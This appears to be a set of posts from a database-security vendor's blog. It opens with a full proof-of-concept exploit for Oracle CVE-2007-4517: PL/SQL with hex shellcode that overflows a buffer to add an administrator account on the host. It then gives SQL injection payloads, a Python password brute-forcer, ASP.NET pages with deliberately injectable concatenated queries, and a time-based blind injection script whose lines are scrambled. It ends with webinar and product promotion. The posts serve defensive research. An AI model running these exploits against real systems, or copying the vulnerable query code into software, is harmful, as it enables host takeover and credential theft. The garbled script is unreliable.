New exploit to Oracle CVE-2007-4517 vulnerability

Summary

As part of GreenSQL’s Database security research,  we’ve been validating and extending coverage of known and unknown vulnerabilities in order to increase GreenSQL product security, at this post we will reveal a full working Prove of Concept for the CVE-2007-4517 vulnerability which executes arbitrary code.

The Exploit: PL/SQL/2007-4517 exploit is a PL/SQL procedure that exploits the CVE-2007-4517 vulnerability, also known as Oracle Database XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA Procedure Multiple Argument Remote Overflow.

The vulnerability is caused due to a boundary error in the XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA procedure when processing the OWNER and NAME arguments to create an SQL query.

This can be exploited to cause a buffer overflow by passing overly long OWNER and NAME arguments to the affected procedure.

Symptoms

System Changes:
•    New administrative user account.
(Username: GreenSQL, Password:GreenSQL)
•    OracleServiceXE service turns off.

Technical Information
The exploits has been tested on:
• Windows XP Professional SP3.
• Oracle Database 10g Express Edition.

All the known exploits and POC’s developed for this vulnerability so far are Denial-of-Service exploits.

This is a New exploit that actually executes arbitrary code and adds a new user account to the database host operating system.

The Exploit

The PL/SQL procedure calls to the xDb.XDB_PITRIG_PKG.PITRIG_DROPMETADATA() function with two arguments:
1. “123”.
2. Buffer (2305 bytes)

The buffer consists of payload, jmp instructions, arithmetic instructions and garbage.

When executing the code, the EBX contains the starting address of the buffer + 0x7A5.

In order to execute the payload in the buffer, the following steps needs to be performed:
1. The EIP should point to an address contains the jmp EBX instruction.
2. At the [EBX] address, the exploit needs to jmp -0x7A5 to the start of the buffer.

Jumping to EBX
In order to jump to the address in the EBX register, the EIP should be set to 0x 095F7160.

Jumping to the Payload
In order to execute the payload, the following instructions needs to be performed:
sub ebx, 0x7a5
jmp ebx

The opcodes of the first instruction are:
0×81, 0xEB, 0xA5, 0×07, 0×00, 0×00.
One of the limitations of HEXTORAW() function, is that it’s not able to deal with 0×00 characters.
Because of that reason, instead of using the sub ebx, 0x7a5 instruction, the following instructions need to be performed:
sub bl,0xb0
add bh,0xfa
jmp ebx

Which are equivalent to:
sub ebx, 0x5b0
jmp ebx

Which is equivalent to jmp ebx-0x5b0.

The opcodes of those instructions are:
0×80, 0xEB, 0xB0, 0×80, 0xC7, 0xFA, 0xFF, 0xE3, which are able to be processed by the HEXTORAW() function.

The Payload

The payload’s size is 308 bytes (of 0x7A5-0x5B0 = 0x1F5 = 501 payload’s space)

The payload creates a new user account, called “GreenSQL”, with the password “GreenSQL”.
After creating the user account, it adds the user to the “Administrators” group.

The exploit code is available below.

Conclusions

It’s extremely important to make sure that you have updated your Database with the latest patches and security updates the database vendor has released, this prove of concept shows how it’s possible to gain control over your database host operating system using older vulnerability, which with extended research can be transformed to a new exploit.

Database security solutions, like GreenSQL, provides additional layer of defense against known and unknown attacks.

The Exploit POC

#################################################
## GreenSQL   ########    Proof-of-Concept     ##
## This code is for educational purposes only  ##
#################################################
declare
 sc varchar2(32767);
 junk varchar2(32767);
 junk2 varchar2(32767);
 EBX varchar2(32767);
 junk3 varchar2(32767);
 JMP2SC varchar2(32767);
 junk4 varchar2(32767);
 EIP varchar2(32767);
 junk5 varchar2(32767);
 begin
 junk:='@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';
 sc:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('d9c6bd60dd3d66d9742
 4f45b31c9b147316b18036b1883c3643fc89a8c36'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('33634c29bd8
 67d7bd9c32f4ba986c320ff3250442834d1e30e7be2c58ed72047732a7
 4a74ae589a68b1861fa4456d3ebe12aef0a26214f7543f63bcf4a27934
 404df9803b5de4d5089a9fa'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('a379282afa8
 21a1251bd929fabf9157fdef16502d9c114d86cd4bfabd73c417881b74
 d35c59051c80aab6e41ad7ce7118a58a3c2b3f909a5cc1af51a6950144
 f0b3b738e99413a90a1496df890c2e27f2d01478f6708ee072ed8b24ad
 136f07252b389814ab68ccecc'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('2afd5fb94c5
 260e82e39fa3dd4b967623959470c20e9a7a5d974d56559057c030bba2
 f87f37bbd7291ed122c15d2bb8fe156e329cc768d5064573df4e7f6d16
 d9a975c027a29fa8f13c76b2390650ab737f8bf178f8e5a3d613cf5f15
 dedb44ddaf1'));
 junk2:='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 EBX:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('EB10')) || 'CCCCC';
 junk3:= 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE';
 JMP2SC:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('80EBB080C7FAFFE3'));
 junk4:='@@@@@@@@@@@@@@@@@@@@@@@@';
 EIP:= UTL_RAW.CAST_TO_varchar2(HEXTORAW('095f7160095f7160095f71
 60095f7160095f7160095f7160095f7160095f7160095f7160')); -- jmp EBX
 junk5:='CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC';
 xDb.XDB_PITRIG_PKG.PITRIG_DROPMETADATA('123', junk||sc||junk2||EBX
 ||junk3||JMP2SC||junk4||EIP||junk5);
 end;

Shortest SQL Injection Attack

 

Shortest SQL Injection Attack syntax

 

Overview
=======
In many cases, the user’s input is limited to a specific length.
Although the user’s input length is limited, many times the server is vulnerable to SQL Injection attack’s.
In this post, we’ll discuss two scenarios and how SQL injections attacks are being exploited using shortest SQL injection attack syntax.

Get Database Name through 2-fields attack
==============================
In this scenario, the attacker attacks a web application which receives First-Name and Last-Name, and outputs its matched e-mail address. (see appendix A)

The original SQL query sent to the database is:

select EmailAddress from Person.Contact where FirstName = ‘@fn’ and LastName = ‘@ln’; –where @fn and @ln are the user’s input.

In order to get the database name, the attacker can easily input the following string into one of the fields:

‘ union select db_name();–

That string’s length is 27 bytes.

If the user’s input length is limited to 15 bytes for each field, the previous attack will be blocked. Even though, the attacker can input the following strings to bypass the limitation:

•    First Name: ‘union select/* (15 bytes)
•    Last Name: */db_name();– (12 bytes)

The attack results the following query:

select EmailAddress from person.contact where FirstName = ”union select/*’ and LastName = ‘*/db_name()–’;

This will output the database name!

User Name and Password through 2-fields
=============================
In this scenario, the attacker attacks a web application which receives a username and a password, and outputs “Access Granted!” or “Access Denied!”. The web application limits user’s input to 20 bytes for each field. The web application validates only user’s input length. (see Appendix B)
The application sends the following query:

select count(*) from dbo.users where UserName = ‘@un’ and Password = ‘@pass’; –where @un and @pass are the user’s input

In order to brute-force the first character of david’s password, the attacker sends the strings:

•    User Name: david’and substring/*
•    Password: */(password,1,1)=’p

The attack results the following query:

select count(*) from dbo.users where UserName = ‘david’and substring/*’ and Password = ‘*/(password,1,1)=’p';

Return ‘1’ if the first character of the password is ‘p’ or ‘0’ in any different situation.
In order to brute-force david’s entire password, the attacker can use the following python script:

 

##################################################
##   GreenSQL 2-fields SQL Injection Attack     ##
##            Password Brute Forcer             ##
##              Proof-of-Concept                ##
##  This code is for educational purposes only  ##
##################################################

import urllib

un = 'david\'and substring/*'
i=0
CurrChr = 0
password = ""

for index in range(1,40):
    if CurrChr == 125:
        break
    for CurrChr in range(32,126):
        pswd = '*/(password,' + str(index) + ',1)=\'' + chr(CurrChr)
        args = {'UserName':un,'Password':pswd}
        encoded_args = urllib.urlencode(args)
        url = 'http://127.0.0.1:54213/WebSite1/Authentication.aspx'
        print "Sending: ", index, "X", chr(CurrChr)
        f = urllib.urlopen(url, encoded_args)
        contents = f.read()
        f.close()
        if (contents.find('Access Granted') != -1):
            password = password + chr(CurrChr)
            print "Password: ", password
            CurrChr =1
            break
         

        
        
Appendix A - Web Application #1 Source Code
===========================================

<%@ Page Language="C#" Debug="true" %>
  <%@ Import Namespace="System.Data" %>
  <%@ Import Namespace="System.Data.SqlClient" %>
  <html>
 <head><title>Shortest</title></head>
 
  <body>
  <form id = "f" method="post" action="shortest.aspx">
    First Name: <input name = "FirstName" type="text" maxlength="15" />(maxlength: 15) <br />
    Last Name: <input name = "LastName" type="text" maxlength="15"/>(maxlength: 15) <br />
    <input id="submit" type="submit" value="Get Email" />
  </form>
 
  <%
      string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000";
      DataSet ds = new DataSet();
      string fn = "";
      fn = Request.Form["FirstName"];
      string ln = "";
      ln = Request.Form["LastName"];
      if (fn.Length <= 15 && ln.Length <= 15)
      {
          string command = "select EmailAddress from person.contact where FirstName = '" + fn + "' and LastName = '" + ln + "';";
          SqlDataAdapter data = new SqlDataAdapter(command, conn);
          data.Fill(ds);

          Response.Write("<table>");
          foreach (DataRow row in ds.Tables[0].Rows)
          {
              Response.Write("<tr>");
              foreach (DataColumn col in ds.Tables[0].Columns)
              {
                  Response.Write("<th>");
                  Response.Write(row[col]);
                  Response.Write("</th>");
              }
              Response.Write("</tr>");
          }
          Response.Write("</table>");
          Response.Write(command);
          if (fn != null && ln != null)
              Response.Write("<br />FirstName: " + fn + "(" + fn.Length.ToString() + ")<br />LastName: " + ln + "(" + ln.Length.ToString() + ")<br />Total Length: " + (fn.Length + ln.Length).ToString());
      }
      else
      {
          Response.Write("Username and Passwords are limited to 15 characters maximum!");
      }
  %>
</body>
</html>

Appendix B – Web Application #2 Source Code
===========================================

<%@ Page Language="C#" Debug="true" %>
  <%@ Import Namespace="System.Data" %>
  <%@ Import Namespace="System.Data.SqlClient" %>
  <html>
 <head><title>Shortest</title></head>
 
  <body>
  <form id = "f" method="post" action="Authentication.aspx">
    Username: <input name = "UserName" type="text" maxlength="20" />(maxlength: 20) <br />
    Password: <input name = "Password" type="text" maxlength="20"/>(maxlength: 20) <br />
    <input id="submit" type="submit" value="Authenticate" />
  </form>
 
  <%
      string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000";
      DataSet ds = new DataSet();
      string un = "";
      un = Request.Form["Username"];
      string pass = "";
      pass = Request.Form["Password"];
      if (un.Length <= 20 && pass.Length <= 20)
      {
          string command = "select count(*) from dbo.users where UserName = '" + un + "' and Password = '" + pass + "';";
          SqlDataAdapter data = new SqlDataAdapter(command, conn);
          data.Fill(ds);

          Response.Write("<table>");
          foreach (DataRow row in ds.Tables[0].Rows)
          {
              Response.Write("<tr>");
              foreach (DataColumn col in ds.Tables[0].Columns)
              {
                  if (System.Convert.ToInt32(row[0]) > 0)

                      Response.Write("Access Granted!");

                  else
                      Response.Write("Access Denied!");
              }
              Response.Write("</tr>");
          }
          Response.Write("</table>");
          Response.Write(command);
          if (un != null && pass != null)
              Response.Write("<br />UserName: " + un + "(" + un.Length.ToString() + ")<br />Password: " + pass + "(" + pass.Length.ToString() + ")<br />Total Length: " + (un.Length + pass.Length).ToString());
      }
      else
      {
          Response.Write("Username and Passwords are limited to 15 characters maximum!");
      }
  %>
</body>
</html>

Time-Based Blind SQL Injection

Time-Based Blind SQL Injection

 
Overview
=======
Blind SQL Injection is an attack which the attacker gets an indication for the query execution success. The attacker doesn’t get the query results.
Most of the time, the indication bases on server errors or customized application errors.

Time-Based Blind SQL Injection
======================
Sometimes the attacker might not be able to identify the query execution success, because the server/application doesn’t show any error.
One of the techniques to get an indication for the query execution success called Time-Based Blind SQL Injection.
With this technique, the attacker executes functions that take some time to finish (for example: Benchmark, Delay, etc.). By measuring the time took the application to response, the attacker might be able to identify if the query executed successfully or the query execution failed.

Discovering Database Details
====================
An attacker can export information from the database by using Time-Based Blind SQL Injection.
For example, an attacker can brute force the database’s name with this technique:
1.    Set the time before the query execution.
2.    Execute the following query:

declare @s varchar(100)
select @s = db_name()
if (ascii(substring(@s,1,1))) = 65
waitfor delay ’0:0:10′
else
waitfor delay ’0:0:2′

3.    Set the time after the query execution.
4.    Calculate time it took to the query to run,
4.1.    if it took 10 seconds, the first character of the database’s name is ‘A’ (ASCII 65)
4.2.    if it took 2 seconds, the first character of the database’s name if NOT ‘A’.

Database’s name brute-forcer (Proof-of-Concept in Python):
==========================================

Tested Environment

1.    Windows 7 64-bits.
2.    MSSQL Server 2008.
3.    Database: AdventureWorks, can be downloaded from: http://msftdbprodsamples.codeplex.com/releases/view/37109)
4.    SQL Server Configuration:
a.    TCP/IP – Enabled.
b.    Authentication Mode – Both SQL Server and Windows.
c.    SQL User:
i.    Name: GreenSQL
ii.    Password: GreenSQL
iii.    Server Roles: sysadmin
iv.    User Mapping: AdventureWorks

 

This code is for educational purposes only!

Python Source Code
===============

##################################################
##   GreenSQL Time-Based Blind SQL Injection    ##
##          Database Name Brute Forcer          ##
##              Proof-of-Concept                ##
##  This code is for educational purposes only  ##
##################################################

import pyodbc
import time
## Connect to the DB
cnxn = pyodbc.connect('DRIVER={SQL
Server};SERVER=localhost;DATABASE=AdventureWorks;UID=GreenSQL;PWD=GreenSQL')
cursor = cnxn.cursor()
## Set variables
DBName = ''
CurrChr = 0
FirstRun = int(time.time())
ASCIIRange = range(32,126)
## Discover DB Name (Brute Force)
for i in range(1,100):
if CurrChr == 125: ## if the last loop ended without a match,
break the loop
break
for CurrChr in ASCIIRange:
str(i)
print "Trying Char: " + chr(CurrChr) + " @ position: " +
print "DBName: " + DBName
query = 'declare @s varchar(100) '
query = query + 'select @s = db_name() '
query = query + 'if (ascii(substring(@s, '
query = query + str(i)
query = query + ', 1))) = '
query = query + str(CurrChr)
query = query + ' waitfor delay \'0:0:10\'' ##if the
current character matches, wait 10 seconds
query = query + 'else '
query = query + 'waitfor delay \'0:0:2\''
2 seconds
print query
StartTime = int(time.time()) ## Set the time before query
execution (UNIX Time)
cursor.execute(query)
EndTime = int(time.time())
execution (UNIX Time)
if EndTime-StartTime >= 10:
matches,
String
## Execute the query
## Set time after query
## if the current character
DBName = DBName + chr(CurrChr) ## add it to DBName
CurrChr = 1
break
## Print the findings and statistics
DoneTime = int(time.time())
print "DB Name: " + DBName
print "It took " + str(DoneTime - FirstRun) + "seconds!"

GreenSQL May Webinars invitation

GreenSQL invites you to participate in our May Webinars
MAY 18- Securing Databases in Minutes with GreenSQL Express
MAY 24 – Unified Database Security, the Next Generation of Database Security
Press here to sign
http://hosted.verticalresponse.com/579426/4aa0167718/316941501/bdea25b57a/

GreenSQL Express Webinar, Wednesday March 16th

Hi Everyone,

I would like to personally invite you to a GreenSQL Express Webinar,
I’ll be demonstrating GreenSQL Express, the free and simple way to keep your information private and safe.

On Wednesday, March 16th (just 2 weeks from now),
It’s called “How to Protect Sensitive Information in Minutes: Setting up GreenSQL Express with Basic Security Rules”

If you’re serious about protecting your data, you need to hear and see how it’s done. I’ll talk about:

1. Why you need a Database firewall / security solution
2. Where and How to install GreenSQL Express in your infrastructure
3. How to use GreenSQL Express to protect you database
4. How to create the security polices you need in minutes
5. How to protect your database from SQL injection attacks
6. How to implement a separation of duties in your database access
7. How to maintain business continuity with the Database Fallback feature
8. Q&A..

Again, this is happening online on Wednesday, March 16.
Use the link below to register and find the time in your time zone.

Register for a webinar, Click here to register:

Don’t miss it!

David

From the Security threat report 2011 by Sophos

From the Security threat report 2011 by Sophos, Page 46:

“Cybercrime is encroaching more and more into the business space. Industrial espionage, spearphishing of important employees to breach network boundaries and mass theft of customer information are more diffcult to detect and have very serious consequences. At the same time, network boundaries are becoming ever more indistinct and porous as new technologies enable greater access from remote workers and mobile devices. In addition, legal requirements place greater emphasis on traceability and compliance with predefned standards of data hygiene.

Increasing amounts of sensitive data is stored, accessed and manipulated in databases connected to company websites as businesses increasingly interact with their customers through the Internet. As a result, it’s become as easy to access these databases as it is to access the main doors at corporate headquarters.

Security administrators face a constant battle to maintain usability, while preventing penetration from the outside and data loss from within. Alongside protecting network boundaries, businesses and website maintainers are under growing pressure to ensure that their web presence provides adequate protection for the users of its web services.”

As time passes, organizations realize that Web Application Firewalls (WAF) are not sufficient to secure their back end databases.

GreenSQL Express provides a free, commercial grade solution to protect MS-SQL, MySQL and PostgreSQL databases from known and unknown threats. GreenSQL Express includes:

- Database Intrusion Detection and Prevention System
- Database Firewall
- Separation of Duties
- Advanced Risk Scoring Matrix
- Database Front-end Security
- Real-time Database Protection

Get a free copy of GreenSQL Express at www.greensql.com


Database security, Database Firewall? Why should I use GreenSQL ?

Since the early days of GreenSQL, many people have written us asking why exactly they should implement a database security solution if they have already hardened their web application and are using a web application firewall, like mod_security, or even a professional closed source web application firewall such as Imperva, Breach, or F5.

The answer is not as simple as you may think, and I’m not going to preach to you about the great advantages using GreenSQL in front of your MySQL or PostgreSQL Database.

I’m going to highlight a few obvious current situations which will help you see the full picture of your Database security needs.

What is the core of the company?

When you come right down to it, the Database, eventually, is the core of your company or organization. All the information that the company is built upon is located in the Database. Without it, your company or organization cannot exist and it doesn’t matter if it’s an Enterprise, Large, Medium, or Small or even just an e-commerce business. The Database is the core of your company.

Today the market is leading us to the beauty of SaaS (Software as a Service) solutions to provide most of our needs. With SaaS, all of our information is located on some SaaS’s Database.

Who is using the Database?

The Database is used by many sources that can be divided into two main categories:

Automated connections, which mostly include:
- Backup and replications
- ETL: Extract, transform, load, a common data warehousing process
- Interconnect
- Testing
- Data Load / Data Unload
- Application Integration
- Reporting services
- Etc.

And User Connections, which mostly include:
- Developers
- Administrators
- Application users (Web applications and other applications)
- Monitoring
- Casual users
- IT Personnel
- Etc.

As you can see for yourself, there are many sources connecting to the Databases, automated or user–based, and all them must be verified, inspected and controlled.

SQL Injection

Without a doubt, among the current biggest security threats is SQL Injection. It’s caused a major Buzz for a while now. SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. Using a direct connection to the web application provides the option of running commands over the Database itself. We’ve all heard about the latest SQL injection attacks on websites belonging to Symantec, President Barack Obama, Wall street journal and many others as well.

As time passes, we see the level of SQL injection sophistication increasing and becoming even more threatening, SQL injections are now part of the automated Worms and Trojans arena. The latest large scale SQL injection attack has injected a malicious iframe on tens of thousands of susceptible websites. After some research we’ve noticed that this specific attack was preformed mostly on Microsoft IIS:

The image above shows that the vulnerable injected frame was found mostly on dynamic asp websites (available on Microsoft IIS).

The Web application frontier

The web application frontier is among the most threatening to our Databases, but it’s not the only one.

The web application may be secured using a closed or open source web application firewall. Unfortunately, as time passes, major companies and organizations that implemented a web application firewall, for some reason, mis-configured it, or missed updating it, or were successfully attacked using SQL Injections simply because the solution was inadequate.

Many people are sure that coding securely is the only solution required, but almost every application uses legacy code, and sometimes just a few faulty lines can lead to a successful SQL Injection attack.

Among the major problems of a web-based SQL Injection attack is the option to continue the attack to additional servers. If someone has successfully attacked your Database using SQL injection, by using CMD_Shell and other commands, he can gain control of your server, and from this specific server, gain control over your entire network.

There are many attack tools which automate this process of gaining control of the Database server, such as the  SQL Ninja and others, which also provide a video demo that show’s how easy it is taking control of your Database server.

Achieving Sarbanes-Oxley compliance requires visibility and control over business applications and databases – including monitoring the actions of privileged database users.

Database Firewall and the GreenSQL approach

The GreenSQL solution is a secured SQL reverse proxy solution, which during the reverse proxy process provides you the option of enforcing database security. GreenSQL helps you prevent SQL-based attacks, whether they are Web application based or not. And it’s easily implemented.

After setting up and implementing the GreenSQL Firewall, none of your connections, automated or not, should connect to the Database directly. You can easily Implement the GreenSQL solution in a DMZ zone on your Firewall, and allow traffic to the Database from the GreenSQL machine only. From then on, you can be sure that no other source will connect to your Database without inspection and control by the GreenSQL solution.

GreenSQL provides you the option of installing the GreenSQL Database firewall on the Database itself, or on a dedicated server (virtual or physical), so you are not limited.As time passes we’ve witnessed that more and more web sites adopts GreenSQL to defend against any SQL based attacks.

For example you can check out http://fak3r.com which also wrote a real nice article about GreenSQL and why he decided to use it.

We have published an article titled 10 reasons why you should use GreenSQL, check it out.

Information security is an on going process, not a specific product or solution.
Now, with GreenSQL your Database can be part of this process.